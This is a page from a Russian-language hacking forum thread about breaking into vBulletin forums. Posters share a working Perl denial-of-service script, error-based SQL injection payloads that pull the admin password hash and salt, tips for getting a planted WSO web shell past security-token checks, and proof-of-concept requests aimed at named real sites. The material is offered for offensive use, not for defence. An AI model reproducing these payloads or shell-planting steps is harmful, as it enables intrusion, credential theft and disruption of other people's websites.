Для этого что то есть?
Ни это - http://www.exploit-db.com/exploits/17314/
Ни это - http://www.exploit-db.com/exploits/17555/
не работает
Проверка на работоспособность.

Код:
vBulletin 4.0.6 – Danial Of Service Exploit (redhat)====================================================
vBulletin 4.0.6 – Danial Of Service Exploit (redhat)
====================================================

################################################
Author : KnocKout
Thanks : DaiMon,BARCOD3
Contact : knockoutr@msn.com
Tested on : redhat
##############################################
##################vBulletin 4.0.6 – Danial Of Service Exploit for RedHat###############

#!/usr/bin/perl

use IO::Socket;

print &quot;n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+n&quot;;
print &quot;+ vBulletin 4.0.6 D.O.S Exploit(FOR redhat) +n&quot;;
print &quot;+ Coded by KnocKout +n&quot;;
print &quot;+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+nn&quot;;
print &quot;Host |without http://www.| &quot;;
chomp($host = &lt;STDIN&gt;);
print &quot;Path |example. /en or / | &quot;;
chomp($pth = &lt;STDIN&gt;);
{
while($x != 999999)
{
$postit = &quot;?t=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&quot;;
$lrg = length $postit;
my $sock = new IO::Socket::INET (
PeerAddr =&gt; &quot;$host&quot;,
PeerPort =&gt; &quot;80&quot;,
Proto =&gt; &quot;tcp&quot;,
);
die &quot;nOffline! – We can not Connect To ‘$host’ it May be DoSedn&quot; unless $sock;

print $sock &quot;POST $pth/showthread.php HTTP/1.1n&quot;;
print $sock &quot;Host: $hostn&quot;;
print $sock &quot;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n&quot;;
print $sock &quot;Referer: $hostn&quot;;
print $sock &quot;Accept-Language: en-usn&quot;;
print $sock &quot;Content-Type: application/x-www-form-urlencodedn&quot;;
print $sock &quot;Accept-Encoding: gzip, deflaten&quot;;
print $sock &quot;User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n&quot;;
print $sock &quot;Connection: Keep-Aliven&quot;;
print $sock &quot;Cache-Control: no-cachen&quot;;
print $sock &quot;Content-Length: $lrgnn&quot;;
print $sock &quot;$postitn&quot;;
close($sock);
syswrite STDOUT, &quot;Attack Started &quot;;
$x++;
}
}

# Inj3ct0r.com [2010-09-02]var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}
http://inj3ct0r.com/exploits/13952

WTSBugzoff 17.09.2011 16:00
Уязвимость пашет на vBulletin 4.x.x

Заходим, регистрируемся (не всегда обязательно, если поиск без всяких там капч и вопросов от имени гостя проходит, то рега не впёрлась).

Запускаем лису, плагин liveHTTPHeaders.

Вбиваем в поле поиска любую лабуду, например "4234234" и жмём enter

В liveHTTPHeaders редактируем запрос таким вот образом, дописывая это:

Код:
humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
Отправляем запрос, выйдет ошибка Database error

Смотрим исходный код, внизу находим хэш, записываем

Теперь оправляем запрос на вывод соли, вот такой:

Код:
humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select salt from user where userid=1 and row(1,1)>(select count(*),concat( (select user.salt) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
Опять ошибка, опять смотрим исходный код, записываем соль.

Всё, осталось только расшифровать.

Иногда таблица не user называется, тогда хэш мы не увидим, а увидим на месте хэша какую-то лабуду, а чуть выше виден будет префикс, вот его и дописываем в наш запрос, и тогда всё бенч будет.

Export 30.09.2011 19:42
Итак дорогие друзья хотелось бы поговорить с вами о шеллах в данном форуме. Сейчас вышел патч для форума и при попытке зайти на шелл через модуль вылазить сообщение:

Код:
Your submission could not be processed because a security token was missing.

If this occurred unexpectedly, please inform the administrator and describe the action you performed before you received this error.
Какой-то Forum
Как решить:

1.Можно править шелл (использую WSO 2.5)

2. А можно=> Опера=> форум с шелом=> Исходный код=> После

Код:
value='>>'
всавить

Код:
accesskey="r" tabindex="1"
=> Нажать применить изменеия=> Вуаля! Рабочий шелл!

ПС может давно известно. Но для меня стало очень актуально и ново данное открыие

ПСС Открыл сам.

satana-fu 30.09.2011 21:46
Цитата:
Сообщение от Export
Итак дорогие друзья хотелось бы поговорить с вами о шеллах в данном форуме. Сейчас вышел патч для форума и при попытке зайти на шелл через модуль вылазить сообщение:
Код:
Your submission could not be processed because a security token was missing.

If this occurred unexpectedly, please inform the administrator and describe the action you performed before you received this error.
Какой-то Forum
.
Открою секрет: достаточно очистить кукисы админа и шелл нормально открывается

Boolean 02.11.2011 21:39
[3.8.x] Cyb - Advanced Forum Statistics

[4.0.x] VSa - Advanced Forum Statistics

c 4 линейки название немного изменилось. был помидор, стал томат.

FULL PATH DISCLOSURE

(раскрытие путей)

Possible integer overflow

3.8.X

модуль cyb_topstats

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$resultsnr_lp[/COLOR][COLOR="#007700"]= ([/COLOR][COLOR="#0000BB"]$resultsnr[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) +[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];

[/COLOR][/COLOR] 
4.0.X

Модуль vsa_topstats

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$vsacb_resnr_lp[/COLOR][COLOR="#007700"]= ([/COLOR][COLOR="#0000BB"]$vsacb_resnr[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) +[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];

[/COLOR][/COLOR] 
PoC for 3.8.X:

Код:
POST /misc.php?do=cybstats HTTP/1.1
Host: brutezone.ru
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://brutezone.ru/misc.php?do=cybstats
Cookie: куки. нужна авторизация.
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

securitytoken=1320250782-fda4c39ad1983a01f3b3ce9b94b7350c35099352&resultsnr=999999999999999999999999999999999999
PoC for 4.0.X:

(на 4.1.X не пробовал.)

Код:
POST /misc.php?do=vsastats HTTP/1.1
Host: www.html.by
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://www.html.by/misc.php?do=vsastats
Cookie: куки. нужна авторизация.
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

securitytoken=1320251249-9e5b6a09879833baf7af3e58fae882855e302814&vsacb_resnr=5999999999999999999999999999999999999999999999

tabletkO 27.11.2011 16:36
Цитата:
Сообщение от SergioBlog
Нужна помощь в заливке шелла.
Создаю плагин с кодом шелла wso, пихаю его в faq_complete, но при выполнении какой-то команды или переходе в папку выдаёт:
Your submission could not be processed because a security token was missing.
If this occurred unexpectedly, please inform the administrator and describe the action you performed before you received this error.
как можно решить эту проблему? Вариант с system($_GET["cmd"]); не подходит тк все функции для выполнения системных команд отключены.
Простo куки почисти, пройдет)

Osstudio 11.12.2011 16:46
[CENTER][SIZE="3"][COLOR="DarkOrange"]vBulletin


Время: 08:44
Страница 3 из 5 < 1 2 3 4 5 >
Показывать 40 сообщений этой темы на одной странице